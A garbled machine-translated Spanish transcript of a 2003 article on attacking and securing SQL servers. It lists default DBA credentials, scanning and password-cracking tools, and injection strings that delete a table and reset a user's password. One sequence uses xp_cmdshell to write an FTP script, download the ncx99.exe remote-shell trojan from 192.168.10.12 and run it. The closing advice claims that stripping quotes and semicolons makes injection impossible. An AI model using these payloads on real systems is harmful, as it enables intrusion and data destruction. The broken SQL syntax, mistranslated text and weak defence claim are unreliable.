Ataques de SQL Server

  • Published on
    10-Jul-2015

  • View
    160

  • Download
    0

Transcript

Pgina 1 Ataques de SQL Server: Hacking, cracking, y la proteccin tcnicas. En esta era de la informacin, el servidor de datos se ha convertido en el corazn de una empresa. Este pieza de software controla el ritmo de la mayora de las organizaciones y se utiliza para bombear informacin vital a travs de las arterias de la red. Debido a la naturaleza crtica de la esta aplicacin, el servidor de datos es tambin uno de los objetivos ms populares para los hackers. Si un hacker posee esta aplicacin, que puede causar la compaa "corazn" de sufrir un paro fatal. Irnicamente, aunque la mayora de los usuarios son conscientes de los piratas informticos, que todava no se dan cuenta susceptibles a sus servidores de bases de datos son para cortar los ataques. Por lo tanto, este artculo presenta un descripcin de los mtodos principales de los servidores de base de datos de ataques (tambin conocido como SQL servidores) y muestra cmo protegerse de estos ataques. Debe tener en cuenta que esta informacin no es nueva. Muchos libros blancos tcnicos entran en un gran vulnerabilidades de los detalles acerca de cmo realizar ataques SQL, y se han publicado numerosos a listas de seguridad que describen exactamente cmo ciertas aplicaciones de base de datos puede ser explotado. Este artculo fue escrito para los curiosos no SQL expertos que no se preocupan de conocer la detalles, y como una revisin a los que hacen uso de SQL con regularidad. Para obtener informacin detallada sobre ataques especficos, consulte la seccin de referencias al final de este artculo. Qu es un SQL Server? Una aplicacin de base de datos es un programa que ofrece a sus clientes acceso a los datos. Hay muchas variaciones de este tipo de aplicaciones, que van desde la cara a nivel de empresa Microsoft SQL Server a la libre y de cdigo abierto MySQL. A pesar del sabor, la mayora de los aplicaciones de base de datos de servidor tienen varias cosas en comn. En primer lugar, las aplicaciones de base de datos utilizan el mismo lenguaje de programacin general conocido como SQL, o Lenguaje de consulta estructurado. Este lenguaje, tambin conocido como un lenguaje por el cuarto nivel a su sintaxis simple, est en el centro de cmo un cliente se comunica su peticin a la servidor. Uso de SQL en su forma ms simple, un programador puede seleccionar, agregar, actualizar y eliminar informacin en una base de datos. Sin embargo, SQL tambin se pueden utilizar para crear y disear toda bases de datos, realizar varias funciones en la informacin enviada, e incluso ejecutar otros

programas. Para ilustrar cmo se puede utilizar SQL, lo siguiente es un ejemplo de un simple SQL estndar consulta y una consulta SQL ms potente: Simple: "Select * from dbFurniture.tblChair" http://www.airscanner.com (C) 2003 Ciro Peikari, Seth Fogie Pgina 2 Esto devuelve toda la informacin en la tabla de la tblChair dbFurniture base de datos. Complejo: "EXEC master .. xp_cmdshell 'dir c: \" Este corto de comandos SQL devuelve al cliente la lista de archivos y carpetas en el directorio c: \ directorio del servidor SQL. Tenga en cuenta que este ejemplo se utiliza un procedimiento almacenado extendido que es exclusivo para MS SQL Server. La segunda funcin que el servidor de base de datos de aplicaciones en comn es que todos ellos requieren algunos forma de conexin autenticada entre el cliente y el host. Aunque el lenguaje SQL bastante fcil de usar, al menos en su forma bsica, cualquier cliente que quiera realizar consultas deben primero ofrecer algn tipo de credenciales que se autorice el cliente, el cliente tambin debe definir el formato de la solicitud y la respuesta. Esta conexin se define por varias caractersticas, dependiendo de la ubicacin relativa de la cliente y qu sistemas operativos estn en uso. Podramos pasar todo un artculo discutiendo diversas tecnologas, tales como las conexiones DSN, DSN-less, RDO, ADO, y ms, pero estos temas estn fuera del alcance de este artculo. Si desea obtener ms informacin de ellos, un poco Google'ing le proporcionar informacin ms que suficiente. Sin embargo, la siguiente es una lista de los elementos ms comunes incluidos en una conexin solicitud. Base de datos fuente Tipo de solicitud Base de datos ID de usuario Contrasea Antes de que pueda realizar la conexin, el cliente debe definir qu tipo de servidor de base de datos que se est conectando. Esto es manejado por un componente de software que proporciona al cliente las instrucciones necesarias para crear la solicitud en el formato correcto. Adems de los tipos

de la base de datos, el tipo de solicitud se puede utilizar para definir con mayor precisin cmo la peticin del cliente se manejadas por el servidor. Luego viene el nombre de base de datos y, finalmente, la autenticacin de la de la informacin. Toda la informacin de conexin es importante, pero por el momento es el eslabn ms dbil de la informacin de autenticacin [MD] o falta de ella. En un servidor se gestiona adecuadamente, cada base de datos tiene sus propios usuarios con permisos especficamente designados que controlar qu tipo de actividad que pueden realizar. Por ejemplo, una cuenta de usuario se configura como de slo lectura para aplicaciones que necesitan para acceder slo a la informacin. Otra cuenta se debe utilizar para inserciones o actualizaciones, y tal vez incluso una tercera cuenta se utilizar para las eliminaciones. Este tipo http://www.airscanner.com (C) 2003 Ciro Peikari, Seth Fogie Pgina 3 de control de cuentas se asegura de que cualquier cuenta comprometida es limitada en su funcionalidad. Desafortunadamente, muchos programas de bases de datos estn configurados con contraseas nulas o fcil, lo que conduce a ataques de hackers xito. Los ataques directos Ahora que usted entiende los fundamentos de comandos SQL y los requisitos que deben se reunieron para un cliente para realizar una conexin de base de datos, vamos a echar un vistazo a cmo un hacker puede el abuso de estas tecnologas para sus propios fines. Al igual que muchos otros basados en computadora tecnologas, a menudo no es el producto que est en falta, sino que la culpa es de la implementacin. Todas las aplicaciones de servidor SQL tiene una cuenta de administrador por defecto. Esta cuenta se utiliza por el administrador de base de datos para crear bases de datos, crear cuentas de usuario, asignar permisos, y mucho ms. Sin embargo, cuando una aplicacin de servidor de base de datos est instalada, esta cuenta debe tienen una contrasea por defecto para que el administrador de base de datos (DBA) pueden acceder a la base de datos software para la configuracin requerida y las tareas de configuracin. La siguiente es una lista de la mayora de los aplicaciones de bases de datos comunes y sus cuentas de DBA por defecto: Nombre Usuario Contrasea Orculo sistema

orculo MySQL (Windows) raz nulo MS SQL Server SA nulo DB2 dlfm ibmdb2 Esta lista de nombres de usuario / contrasea no es complejo y se puede encontrar en cualquier nmero de Web sitios. Por esta razn, una de las primeras tareas de un DBA se insta a realizar cuando la creacin de y la configuracin del servidor SQL es asignar una contrasea segura para el programa de base de datos cuenta de administrador (root, sa, sistemas, dlfm). Por desgracia, esto es a menudo completamente ignorado o pospuesto hasta que se olvida. En otras palabras, cualquier hacker que tropez en este servidor conectado a Internet por completo poda tener los datos en l [md] y tal vez la red a la que el servidor est conectado. Adems de la falta de contraseas, administradores de bases que muchos utilizan contraseas dbiles que se pueden encontrar en un diccionario, que son cortas (menos de seis caracteres), o que son nombres comunes, lugares, o eventos. Estas bases de datos tambin estn sentados objetivos para casi cualquier pirata informtico que detecta la Software de servidor SQL a travs de un escaneo de puertos. Como a continuacin veremos de ejemplo, el uso de programas, un hacker http://www.airscanner.com (C) 2003 Ciro Peikari, Seth Fogie Pgina 4 puede simplemente tirar las contraseas en el servidor SQL hasta que se rompe. Si la contrasea no se encuentra o es dbil, ser slo cuestin de minutos antes de que tenga acceso a los datos. La siguiente se muestra cmo un hacker en primer lugar de la sonda y posteriormente un ataque SQL servidor. Encontrar un servidor de SQL es una tarea sencilla. Simplemente toma un puerto configurado correctamente escner o una secuencia de comandos SQL escner, para crear una lista de objetivos. Por ejemplo, SQLScanner, que es un programa en lnea disponibles (incluido en la suite SQLTools), permite a un hacker escaneo de decenas de miles de computadoras en un solo disparo en busca de servidores MS SQL. (Ver Figura 1.) Figura 1 SQLScanner de sondeo para servidores SQL a travs de Internet.

Una vez que el hacker tiene una lista de objetivos, el siguiente paso es investigar cada servidor para obtener ms informacin sobre la versin, el puerto, y el mtodo por el cual acepta las peticiones entrantes. La figura 2 ilustra la SQLPing programa, que tambin forma parte de la suite de SQLTools. http://www.airscanner.com (C) 2003 Ciro Peikari, Seth Fogie Pgina 5 Figura 2 SQLPing recopilacin de informacin sobre un objetivo potencial. Este programa le dice que el hacker cmo conectarse a la base de datos y los mtodos que pueden o puede que no funcione. Adems, se proporciona el nombre del servidor SQL, que puede ser til cuando adivinar las contraseas y determinar el propsito del servidor. A continuacin, una piratas informticos del servidor de SQL para las cuentas dbiles. Usando un programa como SQLDict o SQLCracker (tambin incluido en la suite SQLTools), un hacker puede rpidamente y sistemtica un archivo de diccionario y probar la fuerza de un servidor SQL. Desafortunadamente, un anlisis que dura no ms de cinco minutos vuelve a menudo algunos resultados positivos los resultados. Una vez que un hacker tenga acceso a una cuenta de DBA, o incluso una cuenta de usuario normal, el siguiente paso es el uso de ese nombre de usuario y contrasea para conectarse a un servidor de base de datos y tomar posesin de esos datos. En otras palabras, este hacker puede descargar, actualizar y eliminar datos en su antojo. Este tipo de control no puede venir como una sorpresa, pero estaba consciente de que un cuenta la base de datos tambin puede dar acceso a un pirata informtico completo para el sistema de archivos en un servidor, o incluso a los archivos en la red a la que est conectado? http://www.airscanner.com (C) 2003 Ciro Peikari, Seth Fogie Pgina 6 Para mostrar el poder de acceder a DBA, vamos a ilustrar una de las muchas maneras en que un hacker puede abuso de un servidor SQL Server para obtener de forma annima el acceso a sus archivos a travs de una cuenta DBA secuestrados. En primer lugar, un hacker necesita un mtodo de envo de las solicitudes annimas a un servidor de base de datos. Afortunadamente, esto slo requiere un sitio Web que est alojado en una compaa que apoya scripting. En un sitio Web remoto, un hacker puede programar o cargar slo un script que se conecta y proporciona una peticin al servidor SQL. Un ejemplo de este tipo de aplicacin

se puede encontrar en www.aspalliance.com / mtgal / source_code / tsql.exe Una vez extrado, este Archivo ASP proporciona a sus usuarios con la posibilidad de introducir manualmente una cadena de conexin que se establece una conexin con un servidor SQL remoto. Una vez conectado, esta aplicacin ASP enva el entr comandos SQL a la meta y los resultados los resultados. A pesar de un guin como este tiene grandes usos legtimos, es fcil ver cmo tambin puede ser abusado. El siguiente paso es enviar una solicitud autenticada con el servidor SQL de base de datos que contiene un de comandos que ayuda a que el hacker tener acceso completo al servidor. Un mtodo popular es utilizar el procedimiento almacenado extendido xp_cmdshell se incluye con MS SQL Server. Este guin en realidad sirve como un portal para el archivo cmd.exe del servidor. En otras palabras, un SQL comando puede mover archivos o realizar un listado de directorio. Sin embargo, este comando puede tomar formas nefastas, incluyendo el uso de TFTP para descargar ncx99.exe (un shell remoto populares Trojan) o copia de usuario del servidor de archivos SAM cuenta en la carpeta raz del servidor Web para que se puede descargar de forma annima y luego roto. El punto es que la base de datos programa en el servidor es uno de los muchos temas posibles que pueden verse amenazados por un ataque directo SQL. Por ejemplo, la Figura 3 se muestra un ataque a un servidor MS SQL que explota a un DBA cuenta con una contrasea nula. En este ejemplo, estamos usando el discutido previamente tsql.asp aplicacin (con una ligera modificacin) para enviar una serie de peticiones a la meta que dar lugar a la descarga y ejecucin de un troyano de una lnea de servidores FTP. Figura 3 http://www.airscanner.com (C) 2003 Ciro Peikari, Seth Fogie Pgina 7 Utilizando TSQL.ASP enviar. A partir de esta ilustracin, se puede ver el poder que una cuenta DBA puede tener en un SQL servidor. El uso de mtodos como ste, un hacker puede tener un control total de un servidor en cuestin de segundos. Los ataques indirectos (SQL Injection) Un ataque directo a un servidor SQL Server no siempre es el mejor enfoque para un hacker. Para ejemplo, si la cuenta DBA tiene una contrasea segura, podra tomar aos para crack. En

Adems, muchos servidores SQL no estn conectados directamente a Internet, sino que son escondido a buen recaudo detrs de un firewall. A pesar de estos escenarios son los obstculos vlido por un ataque de hackers, siempre hay algo ms que una forma de violacin de la seguridad. Un ataque indirecto a un servidor SQL Server se realiza mediante un programa que interacta con la base de datos. Esto generalmente toma la forma de un motor de bsqueda, la forma de autenticacin de usuarios, o incluso un programa de correo electrnico de recogida de direcciones. La debilidad no se encuentra en la base de datos servidor o incluso en la autorizacin dbil. En su lugar, se encuentra en la forma en que el programa secuencias de comandos est escrito. En otras palabras, este tipo de ataque es a menudo el resultado de un programador error, no un error del servidor SQL. Para ilustrar esto, echemos un vistazo a un motor de bsqueda simple que se puede encontrar en una tienda en lnea. Cuando una persona entra en el nombre del elemento que le interesa, esta informacin se coloca en una consulta SQL. Por ejemplo, el siguiente podra ser una peticin SQL si el usuario est en busca de informacin sobre los muebles: "SELECT * FROM tblStore donde descripcin =" $ Palabra de bsqueda.. ";" La ltima cadena SQL enviada al servidor SQL se ver como sigue: "SELECT * FROM tblStore donde descripcin =" mobiliario ";" Nota cmo la palabra de bsqueda completa se coloca entre las comillas simples, y tambin la nota; que indica el final de una consulta SQL. El servidor toma esta solicitud y enviar toda la informacin de la tabla que cumple con estos criterios. Sin embargo, con un pequeo giro en la bsqueda de la palabra, un hacker podra empezar a trabajar su camino hacia el corazn del servidor. Por ejemplo, qu pasara si un hacker coloc la siguiente cadena en el campo de bsqueda: 'Muebles'; * DELETE de tblStore; " Ahora, en lugar de una simple solicitud, el servidor SQL recibirn las siguientes dos comandos: http://www.airscanner.com (C) 2003 Ciro Peikari, Seth Fogie Pgina 8 "SELECT * FROM tblStore donde descripcin = 'muebles'; DELETE * de tblStore; " En otras palabras, el servidor SQL en primer lugar realizar una bsqueda rpida de la tabla para el bsqueda de la palabra de los muebles. A continuacin, se sigue esta bsqueda con la supresin completa de la contenido de la tabla! El ejemplo anterior ilustra el dao que se puede hacer, pero muchos otros mtodos de

ataque puede realizarse utilizando esta tcnica. Por ejemplo, una cadena SQL se puede crear que consulta al servidor de base de datos para la informacin de la cuenta de usuario almacenados en el maestro base de datos, o que se ejecuta un procedimiento almacenado extendido, como el que xp_cmdshell discutido previamente. Para ilustrar esto, hemos creado una base de datos llamada "Usuarios" y el formulario de pgina Web que se utiliza para autenticar a los usuarios Web. Como se ilustra en la Figura 4, se presenta al usuario con dos campos pidiendo un nombre de usuario y contrasea. Normalmente, un usuario que introduzca la informacin y haga clic en Enviar. Esta informacin se utiliza para crear un comando de SQL que tirara de la informacin del usuario de la base de datos del usuario y luego comparar los existentes contrasea para la contrasea introducida. Listado 1 es un script de ejemplo que hacer esto, una explicacin de cmo funciona la siguiente. Figura 4 Tpico basado en la Web de usuario / contrasea de entrada la forma. Listado 1: Ejemplo de secuencias de comandos 1

Las lneas 1 [sf] 7 se establece la cadena de conexin para enviar datos a un servidor SQL. Tenga en cuenta que la contrasea es fuerte, lo que significa que un hacker no puede atacar directamente la base de datos servidor. Las lneas 9 [sf] 10 capturar el nombre de usuario de entrada / contrasea introducidos por el usuario. Lnea 11 controles para garantizar que hay un nombre de usuario introducido. Aunque esta es una forma de la validacin, no es suficiente para detener la inyeccin de SQL. La lnea 13 muestra la cadena de SQL que se utiliza para consultar la base de datos. Las lneas 15 [nd] 17 recuperar la contrasea del usuario de la base de datos. Las lneas 19 [nd] 23 comprobar para ver si la contrasea introducida coincide con la contrasea de la base de datos. Normalmente, esta etapa de la escritura ya sea que el usuario pasa a una parte segura de la Sitio web o patadas al usuario de vuelta, en funcin de los resultados de esta validacin simple. Cuando se utiliza como se esperaba, el script crea el siguiente comando de SQL, como se muestra en La lnea 13. Si el usuario ha introducido seth como el nombre de usuario, la siguiente cadena de SQL que se enviar con el servidor SQL: "SELECT * FROM tblUsers DONDE username = 'Seth'"; Esta consulta devuelve el valor de sethpass (suponiendo que esta era la contrasea de la lista) a partir de la base de datos, que luego se comparar con el valor introducido por el usuario contrasea. http://www.airscanner.com (C) 2003 Ciro Peikari, Seth Fogie Pgina 10 Aunque esto parece ser bastante segura, si un hacker se encuentra el formulario Web, que podra inyectar su propio comando SQL en la base de datos a travs del campo nombre de usuario. De hecho, si un hacker saba que la cuenta de usuario pero no la contrasea, que fcilmente podra actualizar la base de datos con una contrasea de su eleccin. El siguiente ejemplo ilustra esto: Nombre de usuario introducido: "Seth", actualizacin de la contrasea conjunto tblUsers = "hacker", donde username = "Set" Contrasea introducida: n / a SQL cadena enviada al servidor: "SELECT * FROM tblUsers DONDE username = 'Set'; actualizacin de la contrasea conjunto tblUsers = "hacker", donde username = "Set" Tenga en cuenta que la ltima cadena SQL es en realidad la concatenacin de dos cadenas individuales. Este est permitido por defecto en la mayora de bases de datos, y se puede utilizar de muchas maneras legtimas.

Sin embargo, en este caso, el hacker actualizado la contrasea de Seth a una contrasea de su eleccin (pirata informtico). Ahora todo lo que el hacker tiene que hacer es volver al formulario de usuario / contrasea y seth entrar como el usuario y hackers como la contrasea para acceder al sitio. Este mismo tipo de ataque puede ser usado para forzar al SQL para ejecutar la misma extendida procedimientos almacenados que se utilizan en la seccin de ataque directo. Por ejemplo, los siguientes las entradas de nombre de usuario se traducir en la creacin y ejecucin de un troyano popular: ** Crea un archivo para ser usado por FTP ** Seth, ejecutivo de xp_cmdshell '"echo abrir 192.168.10.12">> c: \ hack.txt; Seth, ejecutivo de xp_cmdshell '"USER echo">> c: \ hack.txt; Seth, ejecutivo de xp_cmdshell '"echo PASS">> c: \ hack.txt; Seth, ejecutivo de xp_cmdshell '"echo GET ncx99.exe">> c: \ hack.txt; Seth, ejecutivo de xp_cmdshell '"echo quit">> c: \ hack.txt; ** Utiliza el archivo creado anteriormente para el control de una sesin de FTP ** ; Exec xp_cmdshell 'Seth FTP.EXE-s: C: \ hack.txt; ** Ejecuta el troyano descargado ** Seth, ejecutivo de xp_cmdshell 'c: \ windows \ system32 \ ncx99.exe; Este ejemplo ilustra los peligros de la programacin inadecuada e impropia de servidores SQL de gestin. Sin embargo, cabe sealar que la inyeccin de SQL a menudo lleva a una detallada comprensin de los comandos SQL y lenguajes de scripting, y una buena comprensin de cmo estas tecnologas trabajan juntas. Aunque los sitios Web que son vulnerables a SQL tcnicas de inyeccin son muy comunes, esto no suele ser fcil de explotar, y se puede tomar varias horas antes de encontrar la combinacin correcta de caracteres y comandos. En muchos manera, un hacker SQL tiene que trazar las funciones de los scripts ocultos usando por ensayo y error. http://www.airscanner.com (C) 2003 Ciro Peikari, Seth Fogie Pgina 11 Proteccin y prevencin Ahora que se han introducido en los mtodos que un hacker puede tener acceso a el servidor SQL, vamos a discutir cmo un servidor SQL Server se puede asegurar y demostrar que la forma de guiones de programas que sean menos vulnerables a ataques de inyeccin SQL. Lo primero que debe hacerse en todos los servidores de base de datos es el de asignar una contrasea segura a la cuenta de DBA. En segundo lugar, el DBA debe crear cuentas de usuario y asignar a estos usuarios para actividades especficas o bases de datos. Por ejemplo, si una cuenta de usuario se ha creado para la

"Los usuarios de bases de datos, que no tienen acceso a la base de datos principal, cualquier intento de utilizar los procedimientos almacenados extendidos (como xp_cmdshell) no funcionar. A continuacin, cualquier variable introducida por el usuario debe ser despojado de varios personajes clave que se necesario para la inyeccin SQL. Esto incluye lo siguiente: "/ \ * & () $% ^ @`? Esto podra incluir, ms en funcin de las necesidades del guin. Aadiendo lo siguiente a la el guin previamente en la lista, cualquier intento de inyeccin SQL se hara imposible: nombre de usuario = replace (nombre de usuario, ','') nombre de usuario = replace (nombre de usuario ";", "") Esto eliminara todas las comillas sencillas y puntos y comas de la cadena de consulta y se han convertido a la cadena de inyeccin en lo siguiente: "Seth actualizacin de la contrasea conjunto tblUsers = hackers donde username = seth" Esta cadena se han interpretado como basura por el servidor SQL y se han sido rechazada, por lo tanto detener el ataque de inyeccin SQL. A continuacin, asegrese de que todas las cuentas tienen contraseas seguras. No hay excusa para un DBA cuenta para tener una contrasea en blanco. Incluso si el servidor es para propsitos de prueba, si un hacker pueden tener acceso a ese servidor, tambin puede acceder a cualquier otro ordenador conectado a SQL red local del servidor. Por ltimo, algunos cambios se pueden hacer a las configuraciones del servidor de registro y SQL reforzar la seguridad mediante la eliminacin o limitacin de procedimientos extendidos y otros rara vez se utiliza funciones. Esto incluye la eliminacin del procedimiento xp_cmdshell almacenados, o cambiar el nombre de por lo menos que. Adems, puede usar REGEDIT para ajustar el valor de la siguiente 1: HKEY_LOCAL_MACHINES \ Software \ Microsoft \ Microsoft SQL Server \